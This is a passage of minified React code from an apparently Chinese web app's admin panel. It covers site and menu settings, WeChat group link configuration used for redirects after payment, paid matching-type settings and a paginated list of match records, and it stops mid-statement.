vt("/api/db/config",{key:"page_config",value:t.pageConfig,description:"页面标题配置"}),r(!0),setTimeout(()=>r(!1),2e3),ie.success("配置已保存")}catch(f){console.error(f),ie.error("保存失败: "+(f instanceof Error?f.message:String(f)))}finally{i(!1)}},c=t.siteConfig,u=t.menuConfig,h=t.pageConfig;return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"网站配置"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置网站名称、图标、菜单和页面标题"})]}),s.jsxs(te,{onClick:o,disabled:a,className:`${n?"bg-green-500":"bg-[#00CED1]"} hover:bg-[#20B2AA] text-white transition-colors`,children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":n?"已保存":"保存设置"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Rg,{className:"w-5 h-5 text-[#00CED1]"}),"网站基础信息"]}),s.jsx(It,{className:"text-gray-400",children:"配置网站名称、标题和描述"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-name",className:"text-gray-300",children:"网站名称"}),s.jsx(se,{id:"site-name",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteName??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteName:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-title",className:"text-gray-300",children:"网站标题"}),s.jsx(se,{id:"site-title",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteTitle??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteTitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-desc",className:"text-gray-300",children:"网站描述"}),s.jsx(se,{id:"site-desc",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteDescription??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteDescription:f.target.value}}))})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"logo",className:"text-gray-300",children:"Logo地址"}),s.jsx(se,{id:"logo",className:"bg-[#0a1628] border-gray-700 text-white",value:c.logo??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,logo:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"favicon",className:"text-gray-300",children:"Favicon地址"}),s.jsx(se,{id:"favicon",className:"bg-[#0a1628] border-gray-700 text-white",value:c.favicon??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,favicon:f.target.value}}))})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(cA,{className:"w-5 h-5 text-[#00CED1]"}),"主题颜色"]}),s.jsx(It,{className:"text-gray-400",children:"配置网站主题色"})]}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"space-y-2 flex-1",children:[s.jsx(X,{htmlFor:"primary-color",className:"text-gray-300",children:"主色调"}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(se,{id:"primary-color",type:"color",className:"w-16 h-10 bg-[#0a1628] border-gray-700 cursor-pointer p-1",value:c.primaryColor??"#00CED1",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,primaryColor:f.target.value}}))}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white flex-1",value:c.primaryColor??"#00CED1",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,primaryColor:f.target.value}}))})]})]}),s.jsx("div",{className:"w-24 h-24 rounded-xl flex items-center justify-center text-white font-bold",style:{backgroundColor:c.primaryColor??"#00CED1"},children:"预览"})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(nA,{className:"w-5 h-5 text-[#00CED1]"}),"底部菜单配置"]}),s.jsx(It,{className:"text-gray-400",children:"控制底部导航栏菜单的显示和名称"})]}),s.jsx(Ee,{className:"space-y-4",children:Object.entries(u).map(([f,m])=>s.jsxs("div",{className:"flex items-center justify-between p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-4 flex-1",children:[s.jsx(kt,{checked:(m==null?void 0:m.enabled)??!0,onCheckedChange:g=>e(y=>({...y,menuConfig:{...y.menuConfig,[f]:{...m,enabled:g}}}))}),s.jsx("span",{className:"text-gray-300 w-16 capitalize",children:f}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white max-w-[200px]",value:(m==null?void 0:m.label)??"",onChange:g=>e(y=>({...y,menuConfig:{...y.menuConfig,[f]:{...m,label:g.target.value}}}))})]}),s.jsx("span",{className:`text-sm ${m!=null&&m.enabled?"text-green-400":"text-gray-500"}`,children:m!=null&&m.enabled?"显示":"隐藏"})]},f))})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Yw,{className:"w-5 h-5 text-[#00CED1]"}),"页面标题配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置各个页面的标题和副标题"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.homeTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,homeTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首页副标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.homeSubtitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,homeSubtitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目录页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.chaptersTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,chaptersTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.matchTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,matchTitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"我的页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.myTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,myTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"关于作者标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.aboutTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,aboutTitle:f.target.value}}))})]})]})]})]})]})]})}function kV(){const[t,e]=b.useState(""),[n,r]=b.useState(""),[a,i]=b.useState(""),[o,c]=b.useState({}),u=async()=>{var y,N,w,v;try{const k=await De("/api/config"),C=(N=(y=k==null?void 0:k.liveQRCodes)==null?void 0:y[0])==null?void 0:N.urls;Array.isArray(C)&&e(C.join(` `));const E=(v=(w=k==null?void 0:k.paymentMethods)==null?void 0:w.wechat)==null?void 0:v.groupQrCode;E&&r(E),c({paymentMethods:k==null?void 0:k.paymentMethods,liveQRCodes:k==null?void 0:k.liveQRCodes})}catch(k){console.error(k)}};b.useEffect(()=>{u()},[]);const h=(y,N)=>{navigator.clipboard.writeText(y),i(N),setTimeout(()=>i(""),2e3)},f=async()=>{try{const y=t.split(` `).map(w=>w.trim()).filter(Boolean),N=[...o.liveQRCodes||[]];N[0]?N[0].urls=y:N.push({id:"live-1",name:"微信群活码",urls:y,clickCount:0}),await vt("/api/db/config",{key:"live_qr_codes",value:N,description:"群活码配置"}),ie.success("群活码配置已保存!"),await u()}catch(y){console.error(y),ie.error("保存失败: "+(y instanceof Error?y.message:String(y)))}},m=async()=>{var y;try{await vt("/api/db/config",{key:"payment_methods",value:{...o.paymentMethods||{},wechat:{...((y=o.paymentMethods)==null?void 0:y.wechat)||{},groupQrCode:n}},description:"支付方式配置"}),ie.success("微信群链接已保存!用户支付成功后将自动跳转"),await u()}catch(N){console.error(N),ie.error("保存失败: "+(N instanceof Error?N.message:String(N)))}},g=()=>{n?window.open(n,"_blank"):ie.error("请先配置微信群链接")};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"mb-8",children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"微信群活码管理"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置微信群跳转链接,用户支付后自动跳转加群"})]}),s.jsx("div",{className:"mb-6 bg-[#07C160]/10 border border-[#07C160]/30 rounded-xl p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(Gw,{className:"w-5 h-5 text-[#07C160] flex-shrink-0 mt-0.5"}),s.jsxs("div",{className:"text-sm",children:[s.jsx("p",{className:"font-medium mb-2 text-[#07C160]",children:"微信群活码配置指南"}),s.jsxs("div",{className:"text-[#07C160]/80 space-y-2",children:[s.jsx("p",{className:"font-medium",children:"方法一:使用草料活码(推荐)"}),s.jsxs("ol",{className:"list-decimal list-inside space-y-1 pl-2",children:[s.jsx("li",{children:"访问草料二维码创建活码"}),s.jsx("li",{children:"上传微信群二维码图片,生成永久链接"}),s.jsx("li",{children:"复制生成的短链接填入下方配置"}),s.jsx("li",{children:"群满后可直接在草料后台更换新群码,链接不变"})]}),s.jsx("p",{className:"font-medium mt-3",children:"方法二:直接使用微信群链接"}),s.jsxs("ol",{className:"list-decimal list-inside space-y-1 pl-2",children:[s.jsx("li",{children:'微信打开目标群 → 右上角"..." → 群二维码'}),s.jsx("li",{children:"长按二维码 → 识别二维码 → 复制链接"})]}),s.jsx("p",{className:"text-[#07C160]/60 mt-2",children:"注意:微信原生群二维码7天后失效,建议使用草料活码"})]})]})]})}),s.jsxs("div",{className:"grid gap-6 md:grid-cols-2",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl md:col-span-2",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-[#07C160] flex items-center gap-2",children:[s.jsx(Vv,{className:"w-5 h-5"}),"支付成功跳转链接(核心配置)"]}),s.jsx(It,{className:"text-gray-400",children:"用户支付完成后自动跳转到此链接,进入指定微信群"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Pg,{className:"w-4 h-4"}),"微信群链接 / 活码链接"]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{placeholder:"https://cli.im/xxxxx 或 https://weixin.qq.com/g/...",className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 flex-1",value:n,onChange:y=>r(y.target.value)}),s.jsx(te,{variant:"outline",size:"icon",className:"border-gray-700 bg-transparent hover:bg-gray-700/50",onClick:()=>h(n,"group"),children:a==="group"?s.jsx(ff,{className:"w-4 h-4 text-green-500"}):s.jsx(Bx,{className:"w-4 h-4 text-gray-400"})})]}),s.jsxs("p",{className:"text-xs text-gray-500 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"}),"支持格式:草料短链、微信群链接(https://weixin.qq.com/g/...)、企业微信链接等"]})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{onClick:m,className:"flex-1 bg-[#07C160] hover:bg-[#06AD51] text-white",children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),"保存配置"]}),s.jsxs(te,{onClick:g,variant:"outline",className:"border-[#07C160] text-[#07C160] hover:bg-[#07C160]/10 bg-transparent",children:[s.jsx(Us,{className:"w-4 h-4 mr-2"}),"测试跳转"]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl md:col-span-2",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Vv,{className:"w-5 h-5 text-[#38bdac]"}),"多群轮换(高级配置)"]}),s.jsx(It,{className:"text-gray-400",children:"配置多个群链接,系统自动轮换分配,避免单群满员"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Pg,{className:"w-4 h-4"}),"多个群链接(每行一个)"]}),s.jsx(_l,{placeholder:"https://cli.im/group1\\nhttps://cli.im/group2",className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 min-h-[120px] font-mono text-sm",value:t,onChange:y=>e(y.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"每行填写一个群链接,系统将按顺序或随机分配"})]}),s.jsxs("div",{className:"flex items-center justify-between p-3 bg-[#0a1628] rounded-lg border border-gray-700/50",children:[s.jsx("span",{className:"text-sm text-gray-400",children:"已配置群数量"}),s.jsxs("span",{className:"font-bold text-[#38bdac]",children:[t.split(` -`).filter(Boolean).length," 个"]})]}),s.jsxs(te,{onClick:f,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),"保存多群配置"]})]})]})]}),s.jsxs("div",{className:"mt-6 bg-[#0f2137] rounded-xl p-4 border border-gray-700/50",children:[s.jsx("h4",{className:"text-white font-medium mb-3",children:"常见问题"}),s.jsxs("div",{className:"space-y-3 text-sm",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-[#38bdac]",children:"Q: 为什么推荐使用草料活码?"}),s.jsx("p",{className:"text-gray-400",children:"A: 草料活码是永久链接,群满后可直接在后台更换新群码,无需修改网站配置。微信原生群码7天失效。"})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-[#38bdac]",children:"Q: 支付后没有跳转怎么办?"}),s.jsx("p",{className:"text-gray-400",children:"A: 1) 检查链接是否正确填写 2) 部分浏览器可能拦截弹窗,用户需手动允许 3) 建议使用https开头的链接"})]})]})]})]})}const jw={matchTypes:[{id:"partner",label:"创业合伙",matchLabel:"创业伙伴",icon:"⭐",matchFromDB:!0,showJoinAfterMatch:!1,price:1,enabled:!0},{id:"investor",label:"资源对接",matchLabel:"资源对接",icon:"👥",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"mentor",label:"导师顾问",matchLabel:"导师顾问",icon:"❤️",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"team",label:"团队招募",matchLabel:"加入项目",icon:"🎮",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}],freeMatchLimit:3,matchPrice:1,settings:{enableFreeMatches:!0,enablePaidMatches:!0,maxMatchesPerDay:10}},SV=["⭐","👥","❤️","🎮","💼","🚀","💡","🎯","🔥","✨"];function CV(){const[t,e]=b.useState(jw),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(!1),[u,h]=b.useState(null),[f,m]=b.useState({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),g=async()=>{r(!0);try{const E=await De("/api/db/config/full?key=match_config"),T=(E==null?void 0:E.data)??(E==null?void 0:E.config);T&&e({...jw,...T})}catch(E){console.error("加载匹配配置失败:",E)}finally{r(!1)}};b.useEffect(()=>{g()},[]);const y=async()=>{i(!0);try{const E=await vt("/api/db/config",{key:"match_config",value:t,description:"匹配功能配置"});E&&E.success!==!1?ie.success("配置保存成功!"):ie.error("保存失败: "+(E&&typeof E=="object"&&"error"in E?E.error:"未知错误"))}catch(E){console.error("保存配置失败:",E),ie.error("保存失败")}finally{i(!1)}},N=E=>{h(E),m({id:E.id,label:E.label,matchLabel:E.matchLabel,icon:E.icon,matchFromDB:E.matchFromDB,showJoinAfterMatch:E.showJoinAfterMatch,price:E.price,enabled:E.enabled}),c(!0)},w=()=>{h(null),m({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),c(!0)},v=()=>{if(!f.id||!f.label){ie.error("请填写类型ID和名称");return}const E=[...t.matchTypes];if(u){const T=E.findIndex(I=>I.id===u.id);T!==-1&&(E[T]={...f})}else{if(E.some(T=>T.id===f.id)){ie.error("类型ID已存在");return}E.push({...f})}e({...t,matchTypes:E}),c(!1)},k=E=>{confirm("确定要删除这个匹配类型吗?")&&e({...t,matchTypes:t.matchTypes.filter(T=>T.id!==E)})},C=E=>{e({...t,matchTypes:t.matchTypes.map(T=>T.id===E?{...T,enabled:!T.enabled}:T)})};return s.jsxs("div",{className:"p-8 w-full space-y-6",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(lo,{className:"w-6 h-6 text-[#38bdac]"}),"匹配功能配置"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"管理找伙伴功能的匹配类型和价格"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{variant:"outline",onClick:g,disabled:n,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`}),"刷新"]}),s.jsxs(te,{onClick:y,disabled:a,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":"保存配置"]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(li,{className:"w-5 h-5 text-yellow-400"}),"基础设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置免费匹配次数和付费规则"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日免费匹配次数"}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:t.freeMatchLimit,onChange:E=>e({...t,freeMatchLimit:parseInt(E.target.value,10)||0})}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户每天可免费匹配的次数"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"付费匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:t.matchPrice,onChange:E=>e({...t,matchPrice:parseFloat(E.target.value)||1})}),s.jsx("p",{className:"text-xs text-gray-500",children:"免费次数用完后的单次匹配价格"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日最大匹配次数"}),s.jsx(se,{type:"number",min:1,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:t.settings.maxMatchesPerDay,onChange:E=>e({...t,settings:{...t.settings,maxMatchesPerDay:parseInt(E.target.value,10)||10}})}),s.jsx("p",{className:"text-xs text-gray-500",children:"包含免费和付费的总次数"})]})]}),s.jsxs("div",{className:"flex gap-8 pt-4 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:t.settings.enableFreeMatches,onCheckedChange:E=>e({...t,settings:{...t.settings,enableFreeMatches:E}})}),s.jsx(X,{className:"text-gray-300",children:"启用免费匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:t.settings.enablePaidMatches,onCheckedChange:E=>e({...t,settings:{...t.settings,enablePaidMatches:E}})}),s.jsx(X,{className:"text-gray-300",children:"启用付费匹配"})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs("div",{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"匹配类型管理"]}),s.jsx(It,{className:"text-gray-400",children:"配置不同的匹配类型及其价格"})]}),s.jsxs(te,{onClick:w,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-1"}),"添加类型"]})]}),s.jsx(Ee,{children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"图标"}),s.jsx(ke,{className:"text-gray-400",children:"类型ID"}),s.jsx(ke,{className:"text-gray-400",children:"显示名称"}),s.jsx(ke,{className:"text-gray-400",children:"匹配标签"}),s.jsx(ke,{className:"text-gray-400",children:"价格"}),s.jsx(ke,{className:"text-gray-400",children:"数据库匹配"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsx(dr,{children:t.matchTypes.map(E=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx("span",{className:"text-2xl",children:E.icon})}),s.jsx(ve,{className:"font-mono text-gray-300",children:E.id}),s.jsx(ve,{className:"text-white font-medium",children:E.label}),s.jsx(ve,{className:"text-gray-300",children:E.matchLabel}),s.jsx(ve,{children:s.jsxs(qe,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:["¥",E.price]})}),s.jsx(ve,{children:E.matchFromDB?s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"是"}):s.jsx(qe,{variant:"outline",className:"text-gray-500 border-gray-600",children:"否"})}),s.jsx(ve,{children:s.jsx(kt,{checked:E.enabled,onCheckedChange:()=>C(E.id)})}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(E),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>k(E.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},E.id))})]})})]}),s.jsx(Dt,{open:o,onOpenChange:c,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[u?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),u?"编辑匹配类型":"添加匹配类型"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"类型ID(英文)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: partner",value:f.id,onChange:E=>m({...f,id:E.target.value}),disabled:!!u})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"图标"}),s.jsx("div",{className:"flex gap-1 flex-wrap",children:SV.map(E=>s.jsx("button",{type:"button",className:`w-8 h-8 text-lg rounded ${f.icon===E?"bg-[#38bdac]/30 ring-1 ring-[#38bdac]":"bg-[#0a1628]"}`,onClick:()=>m({...f,icon:E}),children:E},E))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"显示名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 创业合伙",value:f.label,onChange:E=>m({...f,label:E.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配标签"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 创业伙伴",value:f.matchLabel,onChange:E=>m({...f,matchLabel:E.target.value})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单次匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:f.price,onChange:E=>m({...f,price:parseFloat(E.target.value)||1})})]}),s.jsxs("div",{className:"flex gap-6 pt-2",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.matchFromDB,onCheckedChange:E=>m({...f,matchFromDB:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"从数据库匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.showJoinAfterMatch,onCheckedChange:E=>m({...f,showJoinAfterMatch:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"匹配后显示加入"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.enabled,onCheckedChange:E=>m({...f,enabled:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"启用"})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>c(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsxs(te,{onClick:v,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})]})]})})]})}const kw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function EV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(""),[f,m]=b.useState(!0),[g,y]=b.useState(null);async function N(){m(!0),y(null);try{const v=new URLSearchParams({page:String(a),pageSize:String(o)});u&&v.set("matchType",u);const k=await De(`/api/db/match-records?${v}`);k!=null&&k.success?(e(k.records||[]),r(k.total??0)):y("加载匹配记录失败")}catch(v){console.error("加载匹配记录失败",v),y("加载失败,请检查网络后重试")}finally{m(!1)}}b.useEffect(()=>{N()},[a,u]);const w=Math.ceil(n/o)||1;return s.jsxs("div",{className:"p-8 w-full",children:[g&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:g}),s.jsx("button",{type:"button",onClick:()=>y(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"匹配记录"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["找伙伴匹配统计,共 ",n," 条记录"]})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("select",{value:u,onChange:v=>{h(v.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"",children:"全部类型"}),Object.entries(kw).map(([v,k])=>s.jsx("option",{value:v,children:k},v))]}),s.jsxs("button",{type:"button",onClick:N,disabled:f,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(Ke,{className:`w-4 h-4 ${f?"animate-spin":""}`}),"刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:f?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"匹配时间"})]})}),s.jsxs(dr,{children:[t.map(v=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[v.userAvatar?s.jsx("img",{src:v.userAvatar,alt:"",className:"w-full h-full object-cover",onError:k=>{k.currentTarget.style.display="none";const 